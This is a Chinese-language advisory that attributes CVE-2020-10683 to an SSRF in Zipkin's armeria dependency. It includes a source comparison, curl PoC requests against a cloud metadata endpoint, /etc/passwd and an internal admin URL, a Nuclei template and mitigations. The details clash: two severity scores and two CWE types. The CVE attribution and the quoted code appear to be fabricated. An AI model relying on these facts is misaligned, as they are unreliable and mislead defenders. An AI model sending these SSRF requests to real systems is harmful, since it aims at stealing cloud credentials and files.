一、漏洞简介¶
1.1 漏洞背景¶
Zipkin 是一个开源的分布式追踪系统,用于收集、存储和展示微服务架构中的请求链路数据。它帮助开发者调试延迟问题、定位性能瓶颈。Zipkin 的 Web UI 提供了查询和可视化追踪数据的功能。
2020年3月,安全研究人员发现 Zipkin 的依赖组件 armeria 在处理某些 HTTP 请求时存在服务端请求伪造(SSRF)漏洞,攻击者可以通过构造恶意请求访问内部资源。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-10683 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | SSRF漏洞 |
| 披露时间 | 2020-05-01 |
| 影响组件 | Zipkin 分布式追踪系统 |
| 属性 | 描述 |
|---|---|
| CVE编号 | CVE-2020-10683 |
| 危害等级 | 高危 (High) |
| CVSS评分 | 8.6 |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 漏洞类型 | 服务端请求伪造 (SSRF) - CWE-918 |
| 影响组件 | Zipkin Server (armeria 依赖) |
补充核验信息:公开时间:2020-05-01;NVD 评分:9.8(CRITICAL);CWE:CWE-611。
二、影响范围¶
2.1 受影响的版本¶
- Zipkin Server < 2.21.1
- 使用 armeria < 0.99.6 的 Zipkin 版本
2.2 不受影响的版本¶
- Zipkin Server >= 2.21.1
- armeria >= 0.99.6
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Zipkin Server 暴露在可访问的网络位置
- 攻击者能够发送 HTTP 请求到 Zipkin API
- Zipkin 使用受影响版本的 armeria 库
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Zipkin 使用 Armeria 作为 HTTP 服务器框架。该漏洞源于 Armeria 在处理 HTTP 请求时,对 URL 的验证不够严格。
攻击流程:
1. 攻击者构造恶意 HTTP 请求
2. 请求包含特殊构造的 URL(如 file:// 或内部 IP)
3. Zipkin Server 解析并处理该请求
4. 服务器尝试访问攻击者指定的内部资源
5. 返回敏感信息(如内部服务响应、文件内容等)
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题出在 Armeria 的 HttpRequestDecoder 类中:
// 受影响版本的代码片段
public static boolean isAbsoluteUri(String uri) {
// 验证逻辑不够严格,某些恶意 URI 可以绕过检查
int colonIdx = uri.indexOf(':');
if (colonIdx < 0) {
return false;
}
// 缺少对 file:// 等协议的完整验证
for (int i = 0; i < colonIdx; i++) {
if (!isSchemeCharacter(uri.charAt(i))) {
return false;
}
}
return true;
}
修复后的版本增加了对协议的严格验证:
// 修复版本的代码
private static final Set<String> ALLOWED_SCHEMES =
Set.of("http", "https");
public static boolean isAllowedUri(String uri) {
String scheme = extractScheme(uri);
return ALLOWED_SCHEMES.contains(scheme.toLowerCase());
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 拉取受影响版本的 Zipkin 镜像
docker pull openzipkin/zipkin:2.21.0
# 启动 Zipkin 服务
docker run -d -p 9411:9411 --name zipkin-vuln openzipkin/zipkin:2.21.0
# 确认服务运行
curl http://localhost:9411/health
4.2 PoC 演示与测试过程¶
# SSRF 测试 - 尝试访问内部服务
curl -X GET "http://localhost:9411/api/v2/traces?serviceName=http://169.254.169.254/latest/meta-data/"
# 尝试读取本地文件
curl -X GET "http://localhost:9411/api/v2/traces?serviceName=file:///etc/passwd"
# 访问内部 HTTP 服务
curl -X GET "http://localhost:9411/api/v2/traces?serviceName=http://internal-service:8080/admin"
Nuclei 检测模板:
id: CVE-2020-10683
info:
name: Zipkin SSRF
author: security-team
severity: high
description: Zipkin SSRF vulnerability via armeria dependency
requests:
- raw:
- |
GET /api/v2/traces?serviceName=http://169.254.169.254/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
words:
- "meta-data"
- "instance-id"
condition: or
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到 Zipkin Server 2.21.1 或更高版本:
# 使用 Docker 升级
docker pull openzipkin/zipkin:latest
docker stop zipkin-vuln
docker rm zipkin-vuln
docker run -d -p 9411:9411 --name zipkin-safe openzipkin/zipkin:latest
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 网络隔离:
# 使用防火墙限制访问
iptables -A INPUT -p tcp --dport 9411 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9411 -j DROP
- 配置 IP 白名单:
# zipkin-config.yml
server:
allowed-origins: "https://trusted-domain.com"
- 启用认证:
# 使用反向代理添加认证
# Nginx 配置示例
location /zipkin/ {
auth_basic "Zipkin Access";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://localhost:9411/;
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Zipkin 官方公告:https://github.com/openzipkin/zipkin/releases/tag/2.21.1
- Armeria 安全修复:https://github.com/line/armeria/releases
6.2 其他技术参考资料¶
- CVE 详情:https://nvd.nist.gov/vuln/detail/CVE-2020-10683
- Zipkin 文档:https://zipkin.io/pages/documentation.html